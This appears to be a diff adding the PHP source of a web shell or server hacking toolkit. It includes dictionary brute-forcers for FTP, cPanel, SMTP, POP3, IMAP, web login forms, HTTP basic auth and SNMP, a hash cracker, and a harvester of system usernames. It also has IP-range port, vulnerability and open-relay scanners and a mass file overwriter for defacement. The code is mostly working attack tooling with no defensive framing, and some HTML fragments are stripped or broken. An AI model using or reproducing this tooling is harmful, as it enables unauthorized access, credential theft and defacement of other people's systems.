+ curl_setopt($ch, CURLOPT_FAILONERROR, 1);
+ $data = curl_exec($ch);
+ if ( curl_errno($ch) == 28 )
+ {
+ print "
+ Error : Connection Timeout
+ Please Check The Target Hostname . ";exit;
+ }
+ else if ( curl_errno($ch) == 0 )
+ {
+ print "[~]
+ Cracking Success With Username " $user \"
+ and Password \" $pass \" ";
+ }
+ curl_close($ch);
+}
+
+$time_start = getmicrotime();
+
+if(isset($submit) && !empty($submit))
+{
+ if(empty($users) && empty($pass) )
+ {
+ print "Error : Please Check The Users or Password List Entry . . .
"; exit; }
+ if(empty($users)){ print "Error : Please Check The Users List Entry . . .
"; exit; }
+ if(empty($pass) && $_REQUEST['bruteforce']!="true" ){ print "Error : Please Check The Password List Entry . . .
"; exit; };
+ $userlist=explode("\n",$users);
+ $passlist=explode("\n",$pass);
+ print "[~]#
+ LETS GAME BEGIN ;) ... ";
+
+ if(isset($_POST['connect_timeout']))
+ {
+ $connect_timeout=$_POST['connect_timeout'];
+ }
+
+ if($cracktype == "ftp")
+ {
+ foreach ($userlist as $user)
+ {
+ $pureuser = trim($user);
+ foreach ($passlist as $password )
+ {
+ $purepass = trim($password);
+ ftp_check($target,$pureuser,$purepass,$connect_timeout);
+ }
+ }
+ }
+
+ if ($cracktype == "cpanel" || $cracktype == "cpanel2")
+ {
+ if($cracktype == "cpanel2")
+ {
+ $cpanel_port="23";
+ }
+ else
+ $cpanel_port="2082";
+
+ foreach ($userlist as $user)
+ {
+ $pureuser = trim($user);
+ print "[~]#
+ Please put some good password to crack user $pureuser :( ... ";
+ if($_POST['bruteforce']=="true")
+ {
+ echo " bruteforcing ..";
+ echo " ";
+ brute();
+ }
+ else
+ {
+ echo " ";
+ foreach ($passlist as $password )
+ {
+ $purepass = trim($password);
+ cpanel_check($target,$pureuser,$purepass,$connect_timeout);
+ }
+ }
+ }
+ $time_end = getmicrotime();
+$time = $time_end - $time_start;
+ print "[~]#
+ Cracking Finished. Elapsed time: $time seconds ";
+ }
+}
+
+
+
+?>
+
+
+
+
+
+ $val)
+ {
+ $str=explode(":",$val);
+ echo $str[0]."\n";
+ }
+
+ }
+ if (isset($_POST['grab_users2']))
+ {
+ $dir = "/home/";
+ if ($dh = opendir($dir)) {
+ while (($file = readdir($dh)) !== false) {
+ echo $file. "\n";
+ }
+ closedir($dh);
+ }
+ }
+?>
+
+
+
+
+
+
+
+
+
+ ";
+}
+}
+
+}
+closedir($dh);
+}
+}
+?>
+
+
+
+
+Cracking " . htmlspecialchars($hash)."... ";flusheR();
+$type=($_REQUEST['type']=='MD5')?'md5':'sha1';
+while(!feof($dictionary)){
+$word=trim(fgets($dictionary)," \n\r");
+if ($hash==strtoupper(($type($word)))){echo "The answer is $word ";break;}
+}
+echo "Done!";
+fclose($dictionary);
+}
+else{
+echo "$errorbox Can not open dictionary.$et";
+}
+}
+echo " ";
+echo $eval_php_code;
+}
+
+if ($act == "smtp")
+{
+global $t,$et,$errorbox,$crack;
+if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
+$target=$_REQUEST['target'];
+$type=$_REQUEST['combo'];
+$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
+$dictionary=fopen($_REQUEST['dictionary'],'r');
+if ($dictionary){
+echo "Cracking ".htmlspecialchars($target)."... ";flusheR();
+while(!feof($dictionary)){
+if($type){
+$combo=trim(fgets($dictionary)," \n\r");
+$user=substr($combo,0,strpos($combo,':'));
+$pass=substr($combo,strpos($combo,':')+1);
+}else{
+$pass=trim(fgets($dictionary)," \n\r");
+}
+$smtp=smtplogiN($target,$user,$pass,5);
+if($smtp==-1){echo "$errorbox Can not connect to server.$et";break;} else{
+if ($smtp){echo "U: $user P: $pass ";if(!$type)break;}}
+flusheR();
+}
+echo " Done ";
+fclose($dictionary);
+}
+else{
+echo "$errorbox Can not open dictionary.$et";
+}
+}else
+{
+echo "SMTP cracker:$crack";
+}
+
+echo " ";
+
+
+}
+
+if ($act == "pop3")
+{
+
+global $t,$et,$errorbox,$crack;
+if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
+$target=$_REQUEST['target'];
+$type=$_REQUEST['combo'];
+$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
+$dictionary=fopen($_REQUEST['dictionary'],'r');
+if ($dictionary){
+echo "Cracking ".htmlspecialchars($target)."... ";flusheR();
+while(!feof($dictionary)){
+if($type){
+$combo=trim(fgets($dictionary)," \n\r");
+$user=substr($combo,0,strpos($combo,':'));
+$pass=substr($combo,strpos($combo,':')+1);
+}else{
+$pass=trim(fgets($dictionary)," \n\r");
+}
+$pop3=pop3logiN($target,$user,$pass);
+if($pop3==-1){echo "$errorbox Can not connect to server.$et";break;} else{
+if ($pop3){echo "U: $user P: $pass ";if(!$type)break;}}
+flusheR();
+}
+echo " Done ";
+fclose($dictionary);
+}
+else{
+echo "$errorbox Can not open dictionary.$et";
+}
+}else
+{ echo "POP3 cracker:$crack ";
+}
+echo " ";
+
+}
+if ($act == "ftp")
+{
+global $errorbox,$t,$et,$crack;
+if (!function_exists("ftp_connect"))echo "$errorbox Server does n`t support FTP functions$et";
+else{
+if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
+$target=$_REQUEST['target'];
+$type=$_REQUEST['combo'];
+$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
+$dictionary=fopen($_REQUEST['dictionary'],'r');
+if ($dictionary){
+echo "Cracking ".htmlspecialchars($target)."... ";
+while(!feof($dictionary)){
+if($type){
+$combo=trim(fgets($dictionary)," \n\r");
+$user=substr($combo,0,strpos($combo,':'));
+$pass=substr($combo,strpos($combo,':')+1);
+}else{
+$pass=trim(fgets($dictionary)," \n\r");
+}
+if(!$ftp=ftp_connect($target,21,8)){echo "$errorbox Can not connect to server.$et";break;}
+if (@ftp_login($ftp,$user,$pass)){echo "U: $user P: $pass ";if(!$type)break;}
+ftp_close($ftp);
+flusheR();
+}
+echo " Done ";
+fclose($dictionary);
+}
+else{
+echo "$errorbox Can not open dictionary.$et";
+}
+}
+else
+{
+echo "FTP cracker:$crack ";
+}
+echo " ";
+
+}
+}
+
+if ($act == "imap")
+{
+global $t,$et,$errorbox,$crack;
+if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
+$target=$_REQUEST['target'];
+$type=$_REQUEST['combo'];
+$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
+$dictionary=fopen($_REQUEST['dictionary'],'r');
+if ($dictionary){
+echo "Cracking ".htmlspecialchars($target)."... ";flusheR();
+while(!feof($dictionary)){
+if($type){
+$combo=trim(fgets($dictionary)," \n\r");
+$user=substr($combo,0,strpos($combo,':'));
+$pass=substr($combo,strpos($combo,':')+1);
+}else{
+$pass=trim(fgets($dictionary)," \n\r");
+}
+$imap=imaplogiN($target,$user,$pass);
+if($imap==-1){echo "$errorbox Can not connect to server.$et";break;}else{
+if ($imap){echo "U: $user P: $pass ";if(!$type)break;}}
+flusheR();
+}
+echo " Done ";
+fclose($dictionary);
+}
+else{
+echo "$errorbox Can not open dictionary.$et";
+}
+}else
+{
+echo "IMAP cracker:$crack ";
+}
+print (' ');
+
+}
+
+if ($act == "dic")
+{
+global $errorbox,$windows,$footer,$t,$et,$hcwd;
+if (!empty($_REQUEST['combo'])&&($_REQUEST['combo']==1)) $combo=1 ; else $combo=0;
+if (!empty($_REQUEST['range']) && !empty($_REQUEST['output']) && !empty($_REQUEST['min']) && !empty($_REQUEST['max'])){
+$min = $_REQUEST['min'];
+$max = $_REQUEST['max'];
+if($max<$min)die($errorbox ."Bad input!$et". $footer);
+$s =$w="";
+$out = $_REQUEST['output'];
+$r = ($_REQUEST['range']=='a' )?'a':'A';
+if ($_REQUEST['range']==0) $r=0;
+for($i=0;$i<$min;$i++) $s.=$r;
+$dic = fopen($out,'a');
+if(is_nan($r)){
+while(strlen($s)<=$max){
+$w = $s;
+if($combo)$w="$w:$w";
+fwrite($dic,$w."\n");
+$s++;}
+}
+else{
+while(strlen($w)<=$max){
+$w =(string)str_repeat("0",($min - strlen($s))).$s;
+if($combo)$w="$w:$w";
+fwrite($dic,$w."\n");
+$s++;}
+}
+fclose($dic);
+echo "Done ";
+}
+if (!empty($_REQUEST['input']) && !empty($_REQUEST['output'])){
+$input=fopen($_REQUEST['input'],'r');
+if (!$input){
+if ($windows)echo $errorbox. "Unable to read from ".htmlspecialchars($_REQUEST['input']) ."$et ";
+else{
+$input=explode("\n",shelL("cat $input"));
+$output=fopen($_REQUEST['output'],'w');
+if ($output){
+foreach ($input as $in){
+$user = $in;
+$user = trim(fgets($in)," \n\r");
+if (!strstr($user,":"))continue;
+$user=substr($user,0,(strpos($user,':')));
+if($combo) fwrite($output,$user.":".$user."\n"); else fwrite($output,$user."\n");
+}
+fclose($input);fclose($output);
+echo "Done ";
+}
+}
+}
+else{
+$output=fopen($_REQUEST['output'],'w');
+if ($output){
+while (!feof($input)){
+$user = trim(fgets($input)," \n\r");
+if (!strstr($user,":"))continue;
+$user=substr($user,0,(strpos($user,':')));
+if($combo) fwrite($output,$user.":".$user."\n"); else fwrite($output,$user."\n");
+}
+fclose($input);fclose($output);
+echo "Done ";
+}
+else echo $errorbox." Unable to write data to ".htmlspecialchars($_REQUEST['input']) ."$et ";
+}
+}elseif (!empty($_REQUEST['url']) && !empty($_REQUEST['output'])){
+$res=downloadiT($_REQUEST['url'],$_REQUEST['output']);
+if($combo && $res){
+$file=file($_REQUEST['output']);
+$output=fopen($_REQUEST['output'],'w');
+foreach ($file as $v)fwrite($output,"$v:$v\n");
+fclose($output);
+}
+echo "Done ";
+}else{
+$temp=whereistmP();
+echo "
+
+ ";}
+}
+
+if ($act == "htmlform")
+{
+global $errorbox,$footer,$et,$hcwd;
+if(!empty($_REQUEST['start'])){
+$url=$_REQUEST['target'];
+$uf=$_REQUEST['userf'];
+$pf=$_REQUEST['passf'];
+$sf=$_REQUEST['submitf'];
+$sv=$_REQUEST['submitv'];
+$method=$_REQUEST['method'];
+$fail=$_REQUEST['fail'];
+$dic=$_REQUEST['dictionary'];
+$type=$_REQUEST['combo'];
+$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
+if(!file_exists($dic)) die("$errorbox Can not open dictionary.$et$footer");
+$dictionary=fopen($dic,'r');
+echo "Cracking started... ";
+while(!feof($dictionary)){
+if($type){
+$combo=trim(fgets($dictionary)," \n\r");
+$user=substr($combo,0,strpos($combo,':'));
+$pass=substr($combo,strpos($combo,':')+1);
+}else{
+$pass=trim(fgets($dictionary)," \n\r");
+}
+$url.="?$uf=$user&$pf=$pass&$sf=$sv";
+$res=check_urL($url,$method,$fail,12);
+if (!$res){echo "U: $user P: $pass ";flusheR();if(!$type)break;}
+flusheR();
+}
+fclose($dictionary);
+echo "Done! ";
+}
+else echo " ";
+}
+
+if ($act == "basicauth")
+{
+global $errorbox,$et,$t,$crack,$hcwd;
+if(!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
+$data='';
+$method=($_REQUEST['method'])?'POST':'GET';
+if(strstr($_REQUEST['target'],'?')){$data=substr($_REQUEST['target'],strpos($_REQUEST['target'],'?')+1);$_REQUEST['target']=substr($_REQUEST['target'],0,strpos($_REQUEST['target'],'?'));}
+spliturL($_REQUEST['target'],$host,$page);
+$type=$_REQUEST['combo'];
+$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
+if($method='GET')$page.=$data;
+$dictionary=fopen($_REQUEST['dictionary'],'r');
+echo "";
+while(!feof($dictionary)){
+if($type){
+$combo=trim(fgets($dictionary)," \n\r");
+$user=substr($combo,0,strpos($combo,':'));
+$pass=substr($combo,strpos($combo,':')+1);
+}else{
+$pass=trim(fgets($dictionary)," \n\r");
+}
+$so=fsockopen($host,80,$en,$es,5);
+if(!$so){echo "$errorbox Can not connect to host$et";break;}
+else{
+$packet="$method /$page HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nConnection: Close\r\nAuthorization: Basic ".base64_encode("$user:$pass");
+if($method=='POST')$packet.="Content-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($data);
+$packet.="\r\n\r\n";
+$packet.=$data;
+fputs($so,$packet);
+$res=substr(fgets($so),9,2);
+fclose($so);
+if($res=='20')echo "U: $user P: $pass";
+flusheR();
+}
+}
+echo "Done! ";
+}else echo " ";
+}
+
+if ($act == "snmp")
+{
+global $t,$et,$errorbox,$crack,$hcwd;
+if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
+$target=$_REQUEST['target'];
+$dictionary=fopen($_REQUEST['dictionary'],'r');
+if ($dictionary){
+echo "Cracking ".htmlspecialchars($target)."... ";flusheR();
+while(!feof($dictionary)){
+$com=trim(fgets($dictionary)," \n\r");
+$res=snmpchecK($target,$com,2);
+if($res)echo "$com ";
+flusheR();
+}
+echo " Done ";
+fclose($dictionary);
+}
+else{
+echo "$errorbox Can not open dictionary.$et";
+}
+}
+ echo " ";
+}
+
+
+
+if ($act == "scanner")
+{
+global $hcwd;
+if (!empty($_SERVER["SERVER_ADDR"])) $host=$_SERVER["SERVER_ADDR"];else $host ="127.0.0.1";
+$udp=(empty($_REQUEST['udp']))?0:1;$tcp=(empty($_REQUEST['tcp']))?0:1;
+if (($udp||$tcp) && !empty($_REQUEST['target']) && !empty($_REQUEST['fromport']) && !empty($_REQUEST['toport']) && !empty($_REQUEST['timeout']) && !empty($_REQUEST['portscanner'])){
+$target=$_REQUEST['target'];$from=(int) $_REQUEST['fromport'];$to=(int)$_REQUEST['toport'];$timeout=(int)$_REQUEST['timeout'];$nu = 0;
+echo "Port scanning started against ".htmlspecialchars($target).": ";
+$start=time();
+for($i=$from;$i<=$to;$i++){
+if($tcp){
+if (checkthisporT($target,$i,$timeout)){
+$nu++;
+$ser="";
+if(getservbyport($i,"tcp"))$ser="(".getservbyport($i,"tcp").")";
+echo "$nu) $i $ser (Connect ) [TCP] ";
+}
+}
+if($udp)if(checkthisporT($target,$i,$timeout,1)){$nu++;$ser="";if(getservbyport($i,"udp"))$ser="(".getservbyport($i,"udp").")";echo "$nu) $i $ser [UDP] ";}
+flusheR();
+}
+$time=time()-$start;
+echo "Done! ($time seconds) ";
+}
+elseif (!empty($_REQUEST['securityscanner'])){
+echo "";
+$start=time();
+$from=$_REQUEST['from'];
+$to=(int)$_REQUEST['to'];
+$timeout=(int)$_REQUEST['timeout'];
+$f = substr($from,strrpos($from,".")+1);
+$from = substr($from,0,strrpos($from,"."));
+if(!empty($_REQUEST['httpscanner'])){
+echo "Loading webserver bug list...";
+flusheR();
+$buglist=whereistmP().DIRECTORY_SEPARATOR.namE();
+$dl=@downloadiT('http://www.cirt.net/nikto/UPDATES/1.36/scan_database.db',$buglist);
+if($dl){$file=file($buglist);echo "Done! scanning started. ";}else echo "Failed!!! scanning started without webserver security testing... ";
+flusheR();
+}else {$fr=htmlspecialchars($from); echo "Scanning $fr.$f-$fr.$to: ";}
+for($i=$f;$i<=$to;$i++){
+$output=0;
+$ip="$from.$i";
+if(!empty($_REQUEST['nslookup'])){
+$hn=gethostbyaddr($ip);
+if($hn!=$ip)echo "$ip [$hn] ";}
+flusheR();
+if(!empty($_REQUEST['ipscanner'])){
+$port=$_REQUEST['port'];
+if(strstr($port,","))$p=explode(",",$port);else $p[0]=$port;
+$open=$ser="";
+foreach($p as $po){
+$scan=checkthisporT($ip,$po,$timeout);
+if ($scan){
+$ser="";
+if($ser=getservbyport($po,"tcp"))$ser="($ser)";
+$open.=" $po$ser ";
+}
+}
+if($open){echo "$ip) Open ports:$open ";$output=1;}
+flusheR();
+}
+if(!empty($_REQUEST['httpbanner'])){
+$res=get_sw_namE($ip,$timeout);
+if($res){
+echo "$ip) Webserver software: ";
+if($res==-1)echo "Unknow";
+else echo $res;
+echo " ";
+$output=1;
+}
+flusheR();
+}
+if(!empty($_REQUEST['httpscanner'])){
+if(checkthisporT($ip,80,$timeout) && !empty($file)){
+$admin=array('/admin/','/adm/');
+$users=array('adm','bin','daemon','ftp','guest','listen','lp','mysql','noaccess','nobody','nobody4','nuucp','operator','root','smmsp','smtp','sshd','sys','test','unknown','uucp','web','www');
+$nuke=array('/','/postnuke/','/postnuke/html/','/modules/','/phpBB/','/forum/');
+$cgi=array('/cgi.cgi/','/webcgi/','/cgi-914/','/cgi-915/','/bin/','/cgi/','/mpcgi/','/cgi-bin/','/ows-bin/','/cgi-sys/','/cgi-local/','/htbin/','/cgibin/','/cgis/','/scripts/','/cgi-win/','/fcgi-bin/','/cgi-exe/','/cgi-home/','/cgi-perl/');
+foreach ($file as $v){
+$vuln=array();
+$v=trim($v);
+if(!$v || $v{0}=='#')continue;
+$v=str_replace('","','^',$v);
+$v=str_replace('"','',$v);
+$vuln=explode('^',$v);
+$page=$cqich=$nukech=$adminch=$userch=$vuln[1];
+if(strstr($page,'@CGIDIRS'))
+foreach($cgi as $cg){
+$cqich=str_replace('@CGIDIRS',$cg,$page);
+$url="http://$ip$cqich";
+$res=check_urL($url,$vuln[3],$vuln[2],$timeout);
+if($res){$output=1;echo "$ip)".$vuln[4]." $url ";}
+flusheR();
+}
+elseif(strstr($page,'@ADMINDIRS'))
+foreach ($admin as $cg){
+$adminch=str_replace('@ADMINDIRS',$cg,$page);
+$url="http://$ip$adminch";
+$res=check_urL($url,$vuln[3],$vuln[2],$timeout);
+if($res){$output=1;echo "$ip)".$vuln[4]." $url ";}
+flusheR();
+}
+elseif(strstr($page,'@USERS'))
+foreach ($users as $cg){
+$userch=str_replace('@USERS',$cg,$page);
+$url="http://$ip$userch";
+$res=check_urL($url,$vuln[3],$vuln[2],$timeout);
+if($res){$output=1;echo "$ip)".$vuln[4]." $url ";}
+flusheR();
+}
+elseif(strstr($page,'@NUKE'))
+foreach ($nuke as $cg){
+$nukech=str_replace('@NUKE',$cg,$page);
+$url="http://$ip$nukech";
+$res=check_urL($url,$vuln[3],$vuln[2],$timeout);
+if($res){$output=1;echo "$ip)".$vuln[4]." $url ";}
+flusheR();
+}
+else{
+$url="http://$ip$page";
+$res=check_urL($url,$vuln[3],$vuln[2],$timeout);
+if($res){$output=1;echo "$ip)".$vuln[4]." $url ";}
+flusheR();
+}
+}
+}
+}
+if(!empty($_REQUEST['smtprelay'])){
+if(checkthisporT($ip,25,$timeout)){
+$res='';
+$res=checksmtP($ip,$timeout);
+if($res==1){echo "$ip) SMTP relay found. ";$output=1;}flusheR();
+}
+}
+if(!empty($_REQUEST['snmpscanner'])){
+if(checkthisporT($ip,161,$timeout,1)){
+$com=$_REQUEST['com'];
+$coms=$res="";
+if(strstr($com,","))$c=explode(",",$com);else $c[0]=$com;
+foreach ($c as $v){
+$ret=snmpchecK($ip,$v,$timeout);
+if($ret)$coms .=" $v ";
+}
+if ($coms!=""){echo "$ip) SNMP FOUND: $coms ";$output=1;}
+flusheR();
+}
+}
+if(!empty($_REQUEST['ftpscanner'])){
+if(checkthisporT($ip,21,$timeout)){
+$usps=explode(',',$_REQUEST['userpass']);
+foreach ($usps as $v){
+$user=substr($v,0,strpos($v,':'));
+$pass=substr($v,strpos($v,':')+1);
+if($pass=='[BLANK]')$pass='';
+$ftp=@ftp_connect($ip,21,$timeout);
+if ($ftp){
+if(@ftp_login($ftp,$user,$pass)){$output=1;echo "$ip) FTP FOUND: ($user:$pass) $ip System type: ".ftp_systype($ftp)." ";}
+}
+flusheR();
+}
+}
+}
+if($output)echo " ";
+flusheR();
+}
+$time=time()-$start;
+echo "Done! ($time seconds) ";
+if(!empty($buglist))unlink($buglist);
+}
+else{
+$chbox=(extension_loaded('sockets'))?" TCP UDP":" ";
+echo " ";
+$host = substr($host,0,strrpos($host,"."));
+echo "";
+}
+}
+
+if ($act == "masscode")
+{
+if(isset($_POST['dir']) &&
+ $_POST['dir'] != '' &&
+ isset($_POST['filetype']) &&
+ $_POST['filetype'] != '' &&
+ isset($_POST['mode']) &&
+ $_POST['mode'] != '' &&
+ isset($_POST['message']) &&
+ $_POST['message'] != ''
+ )
+ {
+ $dir = $_POST['dir'];
+ $filetype = $_POST['filetype'];
+ $message = $_POST['message'];
+
+ $mode = "a"; //default mode
+
+
+ // Modes Begin
+
+ if($_POST['mode'] == 'Apender')
+ {
+ $mode = "a";
+ }
+ if($_POST['mode'] == 'Overwriter')
+ {
+ $mode = "w";
+ }
+
+ if($handle = opendir($dir))
+ {
+ ?>
+ Overwritten Files :-
+
+
+ ">
+ Permission Denied "; break;
+ fwrite($fd,$message);
+ }
+ }
+ ?>
+
+
+
+
+
+"R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ".
+
+"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
+
+"back"=>
+
+"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
+
+"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
+
+"Wg0JADs=",
+
+"buffer"=>
+
+"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".
+
+"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD".
+
+"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
+
+"change"=>
+
+"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".
+
+"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".
+
+"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
+
+"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".
+
+"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL".
+
+"zMshADs=",
+
+"delete"=>
+
+"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp".
+
+"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw".
+
+"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv".
+
+"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl".
+
+"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5".
+
+"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4".
+
+"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G".
+
+"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ".
+
+"jwVFHBgiEGQFIgQasYkcSbJQIAA7",
+
+"download"=>
+
+"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
+
+"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
+
+"forward"=>
+
+"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
+
+"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt".
+
+"WqsJADs=",
+
+"home"=>
+
+"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA".
+
+"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS".
+
+"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j".
+
+"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
+
+"mode"=>
+
+"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO".
+
+"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/".
+
+"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
+
+"refresh"=>
+
+"R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA".
+
+"AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY".
+
+"3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ".
+
+"R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=",
+
+"search"=>
+
+"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//".
+
+"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap".
+
+"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD".
+
+"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr".
+
+"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==",
+
+"setup"=>
+
+"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC".
+
+"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
+
+"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB".
+
+"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE".
+
+"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==",
+
+"small_dir"=>
+
+"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".
+
+"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
+
+"small_unk"=>
+
+"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U".
+
+"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo".
+
+"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31".
+
+"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4".
+
+"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP".
+
+"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz".
+
+"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ".
+
+"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io".
